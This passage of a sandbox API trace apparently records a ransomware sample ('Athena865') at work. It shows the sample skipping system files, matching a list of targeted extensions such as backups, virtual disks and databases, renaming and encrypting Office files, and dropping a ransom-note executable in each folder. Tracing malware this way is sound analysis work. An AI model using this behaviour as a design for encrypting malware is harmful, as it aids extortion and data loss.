hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0153.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.026] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x6de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WHOOSH.WAV", cAlternateFileName="")) returned 1 [0153.026] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0153.026] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0153.026] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2=".") returned 1 [0153.026] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2="..") returned 1 [0153.026] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2="windows") returned -1 [0153.026] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2="bootmgr") returned 1 [0153.026] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2="temp") returned 1 [0153.026] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2="pagefile.sys") returned 1 [0153.026] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2="boot") returned 1 [0153.026] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2="ids.txt") returned 1 [0153.026] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2="ntuser.dat") returned 1 [0153.026] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2="perflogs") returned 1 [0153.026] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2="MSBuild") returned 1 [0153.026] lstrlenW (lpString="WHOOSH.WAV") returned 10 [0153.026] lstrcpyW (in: lpString1=0x241e8aa, lpString2="WHOOSH.WAV" | out: lpString1="WHOOSH.WAV") returned="WHOOSH.WAV" [0153.026] lstrlenW (lpString="WHOOSH.WAV") returned 10 [0153.026] lstrlenW (lpString="Athena865") returned 9 [0153.026] lstrcmpiW (lpString1="HOOSH.WAV", lpString2="Athena865") returned 1 [0153.026] lstrlenW (lpString=".dll") returned 4 [0153.026] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2=".dll") returned 1 [0153.026] lstrlenW (lpString=".lnk") returned 4 [0153.027] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2=".lnk") returned 1 [0153.027] lstrlenW (lpString=".ini") returned 4 [0153.027] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2=".ini") returned 1 [0153.027] lstrlenW (lpString=".sys") returned 4 [0153.027] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2=".sys") returned 1 [0153.027] lstrlenW (lpString="WHOOSH.WAV") returned 10 [0153.027] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV.Athena865") returned 69 [0153.027] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\whoosh.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\whoosh.wav.athena865"), dwFlags=0x1) returned 1 [0153.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\whoosh.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.029] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1758) returned 1 [0153.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0153.029] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0153.030] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.030] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.030] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9e0, lpName=0x0) returned 0x154 [0153.040] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9e0) returned 0x100000 [0153.040] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0153.041] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.041] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0153.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0153.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0153.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0153.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0153.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.042] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.042] CloseHandle (hObject=0x154) returned 1 [0153.042] CloseHandle (hObject=0x17c) returned 1 [0153.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0153.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.043] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcde5800, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcde5800, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x2b84, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WIND.WAV", cAlternateFileName="")) returned 1 [0153.043] lstrcmpiW (lpString1="WIND.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0153.043] lstrcmpiW (lpString1="WIND.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0153.043] lstrcmpiW (lpString1="WIND.WAV", lpString2=".") returned 1 [0153.043] lstrcmpiW (lpString1="WIND.WAV", lpString2="..") returned 1 [0153.043] lstrcmpiW (lpString1="WIND.WAV", lpString2="windows") returned -1 [0153.043] lstrcmpiW (lpString1="WIND.WAV", lpString2="bootmgr") returned 1 [0153.043] lstrcmpiW (lpString1="WIND.WAV", lpString2="temp") returned 1 [0153.043] lstrcmpiW (lpString1="WIND.WAV", lpString2="pagefile.sys") returned 1 [0153.043] lstrcmpiW (lpString1="WIND.WAV", lpString2="boot") returned 1 [0153.043] lstrcmpiW (lpString1="WIND.WAV", lpString2="ids.txt") returned 1 [0153.043] lstrcmpiW (lpString1="WIND.WAV", lpString2="ntuser.dat") returned 1 [0153.043] lstrcmpiW (lpString1="WIND.WAV", lpString2="perflogs") returned 1 [0153.043] lstrcmpiW (lpString1="WIND.WAV", lpString2="MSBuild") returned 1 [0153.043] lstrlenW (lpString="WIND.WAV") returned 8 [0153.043] lstrcpyW (in: lpString1=0x241e8aa, lpString2="WIND.WAV" | out: lpString1="WIND.WAV") returned="WIND.WAV" [0153.043] lstrlenW (lpString="WIND.WAV") returned 8 [0153.043] lstrlenW (lpString="Athena865") returned 9 [0153.043] lstrlenW (lpString=".dll") returned 4 [0153.044] lstrcmpiW (lpString1="WIND.WAV", lpString2=".dll") returned 1 [0153.044] lstrlenW (lpString=".lnk") returned 4 [0153.044] lstrcmpiW (lpString1="WIND.WAV", lpString2=".lnk") returned 1 [0153.044] lstrlenW (lpString=".ini") returned 4 [0153.044] lstrcmpiW (lpString1="WIND.WAV", lpString2=".ini") returned 1 [0153.044] lstrlenW (lpString=".sys") returned 4 [0153.044] lstrcmpiW (lpString1="WIND.WAV", lpString2=".sys") returned 1 [0153.044] lstrlenW (lpString="WIND.WAV") returned 8 [0153.044] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV.Athena865") returned 67 [0153.044] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\wind.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\wind.wav.athena865"), dwFlags=0x1) returned 1 [0153.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\wind.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.052] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11140) returned 1 [0153.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0153.053] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0153.053] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.054] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.054] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e90, lpName=0x0) returned 0x154 [0153.056] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e90) returned 0x100000 [0153.057] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0153.058] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.058] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0153.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0153.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0153.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0153.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0153.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.059] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.059] CloseHandle (hObject=0x154) returned 1 [0153.059] CloseHandle (hObject=0x17c) returned 1 [0153.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0153.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.059] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcde5800, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcde5800, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x2b84, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WIND.WAV", cAlternateFileName="")) returned 0 [0153.059] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0153.059] ReleaseMutex (hMutex=0xec) returned 1 [0153.059] CloseHandle (hObject=0xec) returned 1 [0153.059] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OneNote") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" [0153.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53a110 | out: hHeap=0x4f0000) returned 1 [0153.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b6f0 | out: hHeap=0x4f0000) returned 1 [0153.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OneNote") returned 50 [0153.059] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\56E87909393D63FEF145364F83BFEE24") returned 0xec [0153.060] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0153.060] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OneNote") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" [0153.060] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0153.060] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\how to back your files.exe"), bFailIfExists=1) returned 0 [0153.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0153.061] GetLastError () returned 0x0 [0153.061] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0153.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0153.061] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0153.062] CloseHandle (hObject=0xf4) returned 1 [0153.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0153.062] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0153.062] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd82b7ce0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd82b7ce0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0153.062] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0153.062] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0153.063] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0153.063] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd82b7ce0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd82b7ce0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.063] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0153.063] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0153.063] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0153.063] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0153.063] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd82b7ce0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xd82b7ce0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0153.063] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0153.063] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fd1300, ftCreationTime.dwHighDateTime=0x1c8e623, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fd1300, ftLastWriteTime.dwHighDateTime=0x1c8e623, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendToOneNote-PipelineConfig.xml", cAlternateFileName="SENDTO~1.XML")) returned 1 [0153.063] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0153.063] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0153.063] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2=".") returned 1 [0153.063] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="..") returned 1 [0153.063] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="windows") returned -1 [0153.063] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="bootmgr") returned 1 [0153.063] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="temp") returned -1 [0153.063] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="pagefile.sys") returned 1 [0153.063] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="boot") returned 1 [0153.063] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="ids.txt") returned 1 [0153.063] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="ntuser.dat") returned 1 [0153.063] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="perflogs") returned 1 [0153.063] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="MSBuild") returned 1 [0153.063] lstrlenW (lpString="SendToOneNote-PipelineConfig.xml") returned 32 [0153.063] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SendToOneNote-PipelineConfig.xml" | out: lpString1="SendToOneNote-PipelineConfig.xml") returned="SendToOneNote-PipelineConfig.xml" [0153.063] lstrlenW (lpString="SendToOneNote-PipelineConfig.xml") returned 32 [0153.063] lstrlenW (lpString="Athena865") returned 9 [0153.064] lstrcmpiW (lpString1="onfig.xml", lpString2="Athena865") returned 1 [0153.064] lstrlenW (lpString=".dll") returned 4 [0153.064] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2=".dll") returned 1 [0153.064] lstrlenW (lpString=".lnk") returned 4 [0153.064] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2=".lnk") returned 1 [0153.064] lstrlenW (lpString=".ini") returned 4 [0153.064] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2=".ini") returned 1 [0153.064] lstrlenW (lpString=".sys") returned 4 [0153.064] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2=".sys") returned 1 [0153.064] lstrlenW (lpString="SendToOneNote-PipelineConfig.xml") returned 32 [0153.064] lstrlenW (lpString="bak") returned 3 [0153.064] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0153.064] lstrlenW (lpString="ba_") returned 3 [0153.064] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0153.064] lstrlenW (lpString="dbb") returned 3 [0153.064] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0153.064] lstrlenW (lpString="vmdk") returned 4 [0153.064] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0153.064] lstrlenW (lpString="rar") returned 3 [0153.064] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0153.064] lstrlenW (lpString="zip") returned 3 [0153.064] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0153.064] lstrlenW (lpString="tgz") returned 3 [0153.064] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0153.064] lstrlenW (lpString="vbox") returned 4 [0153.064] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0153.064] lstrlenW (lpString="vdi") returned 3 [0153.064] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0153.064] lstrlenW (lpString="vhd") returned 3 [0153.065] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0153.065] lstrlenW (lpString="vhdx") returned 4 [0153.065] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0153.065] lstrlenW (lpString="avhd") returned 4 [0153.065] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0153.065] lstrlenW (lpString="db") returned 2 [0153.065] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0153.065] lstrlenW (lpString="db2") returned 3 [0153.065] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0153.065] lstrlenW (lpString="db3") returned 3 [0153.065] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0153.065] lstrlenW (lpString="dbf") returned 3 [0153.065] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0153.065] lstrlenW (lpString="mdf") returned 3 [0153.065] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0153.065] lstrlenW (lpString="mdb") returned 3 [0153.065] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0153.065] lstrlenW (lpString="sql") returned 3 [0153.065] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0153.065] lstrlenW (lpString="sqlite") returned 6 [0153.065] lstrcmpiW (lpString1="ig.xml", lpString2="sqlite") returned -1 [0153.065] lstrlenW (lpString="sqlite3") returned 7 [0153.065] lstrcmpiW (lpString1="fig.xml", lpString2="sqlite3") returned -1 [0153.065] lstrlenW (lpString="sqlitedb") returned 8 [0153.065] lstrcmpiW (lpString1="nfig.xml", lpString2="sqlitedb") returned -1 [0153.065] lstrlenW (lpString="xml") returned 3 [0153.065] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0153.065] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml.Athena865") returned 93 [0153.066] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml.athena865"), dwFlags=0x1) returned 1 [0153.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.068] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=506) returned 1 [0153.068] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0153.069] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0153.070] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.070] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.070] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, 